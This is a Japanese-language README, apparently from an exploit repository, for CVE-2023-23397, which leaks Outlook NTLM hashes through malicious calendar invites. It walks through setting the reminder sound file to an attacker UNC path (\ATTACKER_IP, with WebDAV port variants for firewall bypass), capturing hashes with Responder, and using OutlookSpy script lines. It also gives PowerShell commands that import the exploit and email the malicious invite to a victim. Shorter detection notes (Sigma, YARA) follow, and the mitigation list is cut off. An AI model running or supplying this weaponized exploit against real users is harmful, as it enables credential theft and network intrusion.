
CVE-2023-23397 Outlook NTLMハッシュ漏洩のエクスプロイト。悪意のあるカレンダー招待を介して発生します。PowerShellによる武器化、Responder統合、インシデント対応の検出ルールを含みます。
この脆弱性を悪用するには、攻撃者は自身のマシン上のネットワーク共有にあるファイルを指すサウンドファイルへの参照を含む、悪意のあるカレンダー招待状を作成する必要があります。低レベルの話をすると、Outlook の電子メールはサウンドファイルへの参照を "PidLidReminderFileParameter" と呼ばれる内部パラメータに格納します。悪意のあるメールに埋め込んだ音声が被害者の既定のリマインダー設定よりも優先されるようにするには、"PidLidReminderOverride" と呼ばれる別のパラメータも true に設定する必要があります。
"PidLidReminderFileParameter" プロパティをネットワーク共有に向けるように設定するには、攻撃者はローカルファイルの代わりに Universal Naming Convention (UNC) パスを指定できます。UNC は、Windows オペレーティングシステムでネットワークリソース(ファイル、プリンター、共有ドキュメント)を検索するために使用されます。これらのパスは、二重バックスラッシュ、リソースをホストするコンピューターの IP アドレスまたは名前、共有名、ファイル名で構成されます。例:
\ATTACKER_IP\foo\bar.wav
被害者が悪意のあるメールを受信すると、UNC パスがその SMB 共有へ誘導し、この脆弱性がトリガーされます。これにより、システムは攻撃者のマシンに対して NTLM 認証プロセスを開始し、攻撃者が後で解読を試みることのできる Net-NTLMv2 ハッシュを漏えいさせます。 何らかの理由で SMB プロトコルを利用できない場合でも、サーバー版以外の Windows ではポート 80 または 443 を指す UNC パスの使用が受け入れられ、WebDAV 対応の Web サーバーから HTTP を使用してファイルを取得します。このような UNC パスの構文は次のとおりです:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
これは、ポート 445 (SMB) への発信接続を防ぐファイアウォール制限をバイパスするのに役立つ場合があります。
攻撃フェーズ
それをトリガーするために必要なパラメータを含む予定を記載した悪意のあるメールを作成しましょう。
Responder のセットアップ:
被害者がポート 445 で攻撃者に対する認証試行をトリガーすることが想定されるため、Responder をセットアップして認証プロセスを処理し、NetNTLM ハッシュをキャプチャします。Responder に馴染みがない場合のために説明すると、Responder は SMB サーバーをエミュレートし、それに対する認証試行をキャプチャするだけです。
responder -I
悪意のある予定を手動で作成する試み:
ただし、Outlook は UNC パスを黙って無視し、既定の WAV ファイルを使用する状態に戻します。これは、[サウンド] ダイアログに戻ることで確認できます(置き換えられていない場合は、ここから先に進めます。それ以外の場合は、支援のために OutlookSpy プラグインをインストールする必要があります)。
OutlookSpy:
Outlook がリマインダーのサウンドファイルを UNC パスに設定できない場合でも、OutlookSpy プラグインを使用すればこれを実現できます。このプラグインを使用すると、リマインダーのサウンドファイルを含む Outlook のすべての内部パラメータに直接アクセスできます。 先に進む前に、手動でインストールする必要があります。インストーラーを実行する前に、必ず Outlook を閉じてください。
スクリプトタブと次のスクリプトを使用して、パラメータを必要な値に変更できます:
AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
変更を適用するには、必ず "Run" ボタンをクリックしてください。"Properties" タブに戻って、値が正しく変更されたことを確認できます。最後に、予定を保存してカレンダーに追加します。リマインダーが "0 分" に設定され、予定が現在の日時と一致していることを確認してください。すぐにトリガーさせたいためです。
すべてが期待どおりに進んだ場合は、すぐにリマインダーがポップアップ表示されるはずです。また、攻撃者のマシン上の Responder コンソールで認証試行を受信するはずです。
武器化
この脆弱性を悪用するために必要な手順を要約すると、攻撃者は次のことを行う必要があります:
手順 3 と 4 は Responder が対応してくれますが、悪意のある予定を手作業で作成するのは少し面倒です。幸いなことに、悪意のある予定を作成して送信するためのエクスプロイトがいくつかすぐに利用でき、そのうちの 1 つがこのリポジトリで提供されています。
この PowerShell エクスプロイトは、Outlook の COM オブジェクトを利用して、電子メールと予定を簡単に作成します。使用できる関数がいくつか含まれています: Save-CalendarNTLMLeak: 悪意のある予定を作成し、自分のカレンダーに保存する関数です。テスト目的に役立ちます。 Send-CalendarNTLMLeak: 悪意のある予定を作成し、電子メールで被害者に送信する関数です。メールの招待状は、Outlook の現在の既定のアカウントから送信されます。
エクスプロイトの使用:
PowerShell 内で、"Import-Module" コマンドレットを使用してエクスプロイトの関数をインポートできます。その後、両方の関数が現在の PowerShell で使用可能になります。悪意のある予定を含む電子メールを送信するには、次のコマンドを実行するだけです:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
このエクスプロイトは現在の Outlook インスタンスを使用して電子メールを送信するため、スクリプトに代わりに電子メールを送信する権限を付与するよう求めるアラートがいくつか表示される可能性があります。必要な回数だけ「Allow」を押してください。[アクセスを 10 分間許可する] チェックボックスをオンにすると、このプロセスを高速化するのにも役立ちます。
検出と緩和策
検出:
Outlook に対する CVE-2023-23397 攻撃を武器化する手順を確認したところで、ネットワーク内でこの攻撃を検出するいくつかの方法について説明しましょう。各攻撃にはパターンまたはアーティファクトが残るため、検出チームが脅威を特定するのに役立ちます。これはすべて、ネットワークの可視性と、収集されて非常に重要な可視性を提供しているログソースに依存します。
Sigma ルール:
付属の Sigma ルールは、Outlook が WebDAV または SMB 共有への接続を開始することを検出し、侵害後のフェーズを示します。この Sigma ルールは、"svchost.exe" が C:\windows\system32\davclnt.dll,DavSetCookie のようなコマンド引数を持つ "rundll32.exe" を起動することを検出しようとするもので、侵害後/データ流出フェーズを示します。これらの Sigma ルールは、検出および監視ツールに変換して、ネットワーク内の疑わしいログアクティビティを調査できます。
YARA ルール:
YARA ルールは、ディスク上のファイル内のパターンを探します。付属のコミュニティ YARA ルールを使用して、上記のタスクで説明した 2 つのプロパティを持つディスク上の疑わしい MSG ファイルを検出できます。
Microsoft は、PowerShell スクリプト "CVE-2023-23397.ps1" をリリースしました。これは、メール、カレンダー、タスクなどの Exchange メッセージングアイテムをチェックして、CVE-2023-23397 攻撃に関連する IOC が見つかるかどうかを確認します。このスクリプトは、検出されたアイテムを監査およびクリーンアップするために使用できます。
緩和策:
この脆弱性は、実環境で広範囲に悪用されています。この攻撃を緩和および回避するために Microsoft が推奨する手順の一部は次のとおりです: